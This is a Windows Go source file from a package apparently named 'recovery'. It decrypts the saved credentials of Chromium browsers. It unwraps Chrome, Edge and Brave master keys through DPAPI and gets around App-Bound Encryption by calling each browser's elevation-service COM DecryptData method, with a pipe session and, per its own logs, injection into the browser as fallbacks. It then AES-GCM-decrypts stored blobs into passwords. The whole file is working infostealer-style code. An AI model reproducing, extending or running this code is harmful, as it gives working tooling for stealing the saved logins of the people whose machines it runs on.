373 lines
10 KiB
Go
373 lines
10 KiB
Go
//go:build windows
|
|
|
|
package crypto
|
|
|
|
import (
|
|
"crypto/aes"
|
|
"crypto/cipher"
|
|
"encoding/base64"
|
|
"encoding/json"
|
|
"fmt"
|
|
"os"
|
|
"syscall"
|
|
"unsafe"
|
|
|
|
"recovery/recovery/browser"
|
|
"recovery/recovery/platform"
|
|
"recovery/recovery/types"
|
|
|
|
"golang.org/x/sys/windows"
|
|
)
|
|
|
|
var (
|
|
modCrypt32 = windows.NewLazySystemDLL("crypt32.dll")
|
|
procCryptUnprotectData = modCrypt32.NewProc("CryptUnprotectData")
|
|
)
|
|
|
|
type dataBlob struct {
|
|
cbData uint32
|
|
pbData *byte
|
|
}
|
|
|
|
func CryptUnprotectData(in []byte) ([]byte, error) {
|
|
var inBlob, outBlob dataBlob
|
|
inBlob.cbData = uint32(len(in))
|
|
if len(in) > 0 {
|
|
inBlob.pbData = &in[0]
|
|
}
|
|
|
|
r, _, err := procCryptUnprotectData.Call(
|
|
uintptr(unsafe.Pointer(&inBlob)),
|
|
0, 0, 0, 0, 0,
|
|
uintptr(unsafe.Pointer(&outBlob)),
|
|
)
|
|
if r == 0 {
|
|
return nil, fmt.Errorf("CryptUnprotectData: %w", err)
|
|
}
|
|
defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData))))
|
|
|
|
out := make([]byte, outBlob.cbData)
|
|
for i := range out {
|
|
out[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(outBlob.pbData)) + uintptr(i)))
|
|
}
|
|
return out, nil
|
|
}
|
|
|
|
var (
|
|
clsidChromeElevator = windows.GUID{
|
|
Data1: 0x708860E0, Data2: 0xF641, Data3: 0x4611,
|
|
Data4: [8]byte{0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B},
|
|
}
|
|
iidChromeElevatorV2 = windows.GUID{
|
|
Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992,
|
|
Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38},
|
|
}
|
|
iidChromeElevatorV1 = windows.GUID{
|
|
Data1: 0x463ABECF, Data2: 0x410D, Data3: 0x407F,
|
|
Data4: [8]byte{0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8},
|
|
}
|
|
clsidEdgeElevator = windows.GUID{
|
|
Data1: 0x1FCBE96C, Data2: 0x1697, Data3: 0x43AF,
|
|
Data4: [8]byte{0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67},
|
|
}
|
|
iidEdgeElevator = windows.GUID{
|
|
Data1: 0xC9C2B807, Data2: 0x7731, Data3: 0x4F34,
|
|
Data4: [8]byte{0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B},
|
|
}
|
|
clsidBraveElevator = windows.GUID{
|
|
Data1: 0x576B31AF, Data2: 0x6369, Data3: 0x4B6B,
|
|
Data4: [8]byte{0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B},
|
|
}
|
|
iidBraveElevatorV2 = windows.GUID{
|
|
Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992,
|
|
Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38},
|
|
}
|
|
iidBraveElevatorV1 = windows.GUID{
|
|
Data1: 0xF396861E, Data2: 0x0C8E, Data3: 0x4C71,
|
|
Data4: [8]byte{0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9},
|
|
}
|
|
)
|
|
|
|
func safeV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) (key []byte, err error) {
|
|
defer func() {
|
|
if r := recover(); r != nil {
|
|
err = fmt.Errorf("COM panic: %v", r)
|
|
}
|
|
}()
|
|
return tryV20KeyViaCOM(cfg, encBlob)
|
|
}
|
|
|
|
func tryV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) ([]byte, error) {
|
|
hr := coInitializeEx()
|
|
if hr != 0 {
|
|
return nil, fmt.Errorf("CoInitializeEx: 0x%08x", hr)
|
|
}
|
|
defer coUninitialize()
|
|
|
|
clsid := clsidChromeElevator
|
|
iid := iidChromeElevatorV2
|
|
if cfg.Name == "Edge" {
|
|
clsid = clsidEdgeElevator
|
|
iid = iidEdgeElevator
|
|
} else if cfg.Name == "Brave" {
|
|
clsid = clsidBraveElevator
|
|
iid = iidBraveElevatorV2
|
|
}
|
|
|
|
var unknown *IUnknown
|
|
hr = coCreateInstance(&clsid, nil, 4, &iid, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
|
|
if hr != 0 && cfg.Name == "Chrome" {
|
|
hr = coCreateInstance(&clsid, nil, 4, &iidChromeElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
|
|
}
|
|
if hr != 0 && cfg.Name == "Brave" {
|
|
hr = coCreateInstance(&clsid, nil, 4, &iidBraveElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
|
|
}
|
|
if hr != 0 {
|
|
return nil, fmt.Errorf("CoCreateInstance: 0x%08x", hr)
|
|
}
|
|
defer unknown.Release()
|
|
|
|
hr = coSetProxyBlanket(unknown)
|
|
if hr != 0 {
|
|
logf("CoSetProxyBlanket warning: 0x%08x", hr)
|
|
}
|
|
|
|
bstrCipher := sysAllocStringByteLen(encBlob)
|
|
if bstrCipher == nil {
|
|
return nil, fmt.Errorf("SysAllocStringByteLen failed")
|
|
}
|
|
defer sysFreeString(bstrCipher)
|
|
|
|
var bstrPlain *uint16
|
|
var lastErr uint32
|
|
hr = callDecryptData(unknown, bstrCipher, &bstrPlain, &lastErr)
|
|
if hr != 0 || bstrPlain == nil {
|
|
return nil, fmt.Errorf("DecryptData: 0x%08x (lastError=%d)", hr, lastErr)
|
|
}
|
|
defer sysFreeString(bstrPlain)
|
|
|
|
keyLen := sysStringByteLen(bstrPlain)
|
|
if keyLen < 32 {
|
|
return nil, fmt.Errorf("decrypted key too short: %d bytes", keyLen)
|
|
}
|
|
|
|
result := make([]byte, 32)
|
|
for i := 0; i < 32; i++ {
|
|
result[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(bstrPlain)) + uintptr(i)))
|
|
}
|
|
return result, nil
|
|
}
|
|
|
|
func coInitializeEx() uint32 {
|
|
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoInitializeEx").Call(0, 2)
|
|
return uint32(r)
|
|
}
|
|
|
|
func coUninitialize() {
|
|
windows.NewLazySystemDLL("ole32.dll").NewProc("CoUninitialize").Call()
|
|
}
|
|
|
|
func coCreateInstance(clsid *windows.GUID, unknown *IUnknown, clsCtx uint32, iid *windows.GUID, ppv *unsafe.Pointer) uint32 {
|
|
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoCreateInstance").Call(
|
|
uintptr(unsafe.Pointer(clsid)),
|
|
uintptr(unsafe.Pointer(unknown)),
|
|
uintptr(clsCtx),
|
|
uintptr(unsafe.Pointer(iid)),
|
|
uintptr(unsafe.Pointer(ppv)),
|
|
)
|
|
return uint32(r)
|
|
}
|
|
|
|
func coSetProxyBlanket(unknown *IUnknown) uint32 {
|
|
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoSetProxyBlanket").Call(
|
|
uintptr(unsafe.Pointer(unknown)),
|
|
0xFFFFFFFF, 0xFFFFFFFF, 0,
|
|
6, 4, 0, 0x400,
|
|
)
|
|
return uint32(r)
|
|
}
|
|
|
|
func sysAllocStringByteLen(b []byte) *uint16 {
|
|
if len(b) == 0 {
|
|
return nil
|
|
}
|
|
r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysAllocStringByteLen").Call(
|
|
uintptr(unsafe.Pointer(&b[0])),
|
|
uintptr(len(b)),
|
|
)
|
|
return (*uint16)(unsafe.Pointer(r))
|
|
}
|
|
|
|
func sysFreeString(s *uint16) {
|
|
if s != nil {
|
|
windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysFreeString").Call(uintptr(unsafe.Pointer(s)))
|
|
}
|
|
}
|
|
|
|
func sysStringByteLen(s *uint16) int {
|
|
r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysStringByteLen").Call(uintptr(unsafe.Pointer(s)))
|
|
return int(r)
|
|
}
|
|
|
|
type IUnknown struct {
|
|
vtbl *iUnknownVtbl
|
|
}
|
|
|
|
type iUnknownVtbl struct {
|
|
QueryInterface uintptr
|
|
AddRef uintptr
|
|
Release uintptr
|
|
}
|
|
|
|
func (u *IUnknown) Release() {
|
|
syscall.SyscallN(u.vtbl.Release, uintptr(unsafe.Pointer(u)))
|
|
}
|
|
|
|
func callDecryptData(unknown *IUnknown, bstrCipher *uint16, pbstrPlain **uint16, pLastError *uint32) uint32 {
|
|
type elevatorVtbl struct {
|
|
QueryInterface uintptr
|
|
AddRef uintptr
|
|
Release uintptr
|
|
RunRecoveryCRXElevated uintptr
|
|
EncryptData uintptr
|
|
DecryptData uintptr
|
|
}
|
|
vtbl := (*elevatorVtbl)(unsafe.Pointer(unknown.vtbl))
|
|
r, _, _ := syscall.SyscallN(vtbl.DecryptData,
|
|
uintptr(unsafe.Pointer(unknown)),
|
|
uintptr(unsafe.Pointer(bstrCipher)),
|
|
uintptr(unsafe.Pointer(pbstrPlain)),
|
|
uintptr(unsafe.Pointer(pLastError)),
|
|
)
|
|
return uint32(r)
|
|
}
|
|
|
|
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
|
|
if cfg.IsFirefox {
|
|
return &types.ResolvedKeys{}, nil
|
|
}
|
|
|
|
keys := &types.ResolvedKeys{}
|
|
localStatePath := browser.LocalStatePath(cfg)
|
|
|
|
data, err := os.ReadFile(localStatePath)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("read Local State: %w", err)
|
|
}
|
|
|
|
var localState map[string]interface{}
|
|
if err := json.Unmarshal(data, &localState); err != nil {
|
|
return nil, fmt.Errorf("parse Local State: %w", err)
|
|
}
|
|
|
|
osCrypt, _ := localState["os_crypt"].(map[string]interface{})
|
|
if osCrypt == nil {
|
|
return nil, fmt.Errorf("no os_crypt section in Local State")
|
|
}
|
|
|
|
if encKey, ok := osCrypt["encrypted_key"].(string); ok && encKey != "" {
|
|
decoded, err := base64.StdEncoding.DecodeString(encKey)
|
|
if err == nil && len(decoded) > 5 && string(decoded[:5]) == "DPAPI" {
|
|
v10Key, err := CryptUnprotectData(decoded[5:])
|
|
if err == nil {
|
|
keys.V10 = v10Key
|
|
logf("resolved V10 (DPAPI) key, %d bytes", len(v10Key))
|
|
} else {
|
|
logf("V10 DPAPI failed: %v", err)
|
|
}
|
|
}
|
|
}
|
|
|
|
if appBoundKey, ok := osCrypt["app_bound_encrypted_key"].(string); ok && appBoundKey != "" {
|
|
decoded, err := base64.StdEncoding.DecodeString(appBoundKey)
|
|
if err == nil && len(decoded) > 4 {
|
|
encBlob := decoded[4:]
|
|
|
|
var v20Key []byte
|
|
if platform.ActivePipeSession == nil {
|
|
err = fmt.Errorf("no active pipe session")
|
|
} else {
|
|
encB64 := base64.StdEncoding.EncodeToString(encBlob)
|
|
v20Key, err = platform.ActivePipeSession.GetV20Key(cfg.Name, encB64)
|
|
}
|
|
if err != nil {
|
|
if platform.ActivePipeSession == nil {
|
|
if cfg.Name != "Chrome" {
|
|
logf("V20 via pipe failed (%s): %v, falling back to direct COM", cfg.Name, err)
|
|
v20Key, err = safeV20KeyViaCOM(cfg, encBlob)
|
|
} else {
|
|
logf("V20 via pipe failed (Chrome): %v — COM unsafe without browser session, skipping", err)
|
|
err = fmt.Errorf("Chrome V20 requires browser session")
|
|
}
|
|
} else {
|
|
logf("V20 via pipe failed (%s): %v, trying browser-specific injection", cfg.Name, err)
|
|
v20Key, err = platform.TryV20KeyViaBrowserSession(cfg.ProcessName, cfg.Name, encBlob)
|
|
if err != nil {
|
|
logf("browser-specific injection for V20 also failed (%s): %v", cfg.Name, err)
|
|
}
|
|
}
|
|
}
|
|
if err == nil {
|
|
keys.V20 = v20Key
|
|
logf("resolved V20 (App-Bound) key for %s, %d bytes", cfg.Name, len(v20Key))
|
|
} else {
|
|
logf("V20 key unavailable for %s: %v", cfg.Name, err)
|
|
}
|
|
}
|
|
}
|
|
|
|
if keys.V10 == nil && keys.V20 == nil {
|
|
return nil, fmt.Errorf("could not resolve any master key")
|
|
}
|
|
|
|
return keys, nil
|
|
}
|
|
|
|
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
|
|
if len(encrypted) == 0 {
|
|
return ""
|
|
}
|
|
|
|
var key []byte
|
|
if len(encrypted) >= 3 {
|
|
switch string(encrypted[:3]) {
|
|
case "v10", "v11":
|
|
key = v10Key
|
|
case "v20":
|
|
key = v20Key
|
|
}
|
|
}
|
|
|
|
if key == nil || len(key) == 0 {
|
|
return ""
|
|
}
|
|
if len(encrypted) < 3+12+16 {
|
|
return ""
|
|
}
|
|
|
|
nonce := encrypted[3:15]
|
|
tag := encrypted[len(encrypted)-16:]
|
|
ciphertext := encrypted[15 : len(encrypted)-16]
|
|
|
|
plaintext, err := aesGCMDecrypt(key, nonce, ciphertext, tag)
|
|
if err != nil {
|
|
return ""
|
|
}
|
|
return CleanPassword(plaintext)
|
|
}
|
|
|
|
func aesGCMDecrypt(key, nonce, ciphertext, tag []byte) ([]byte, error) {
|
|
block, err := aes.NewCipher(key)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
aesGCM, err := cipher.NewGCM(block)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
ctWithTag := make([]byte, len(ciphertext)+len(tag))
|
|
copy(ctWithTag, ciphertext)
|
|
copy(ctWithTag[len(ciphertext):], tag)
|
|
return aesGCM.Open(nil, nonce, ctWithTag, nil)
|
|
}
|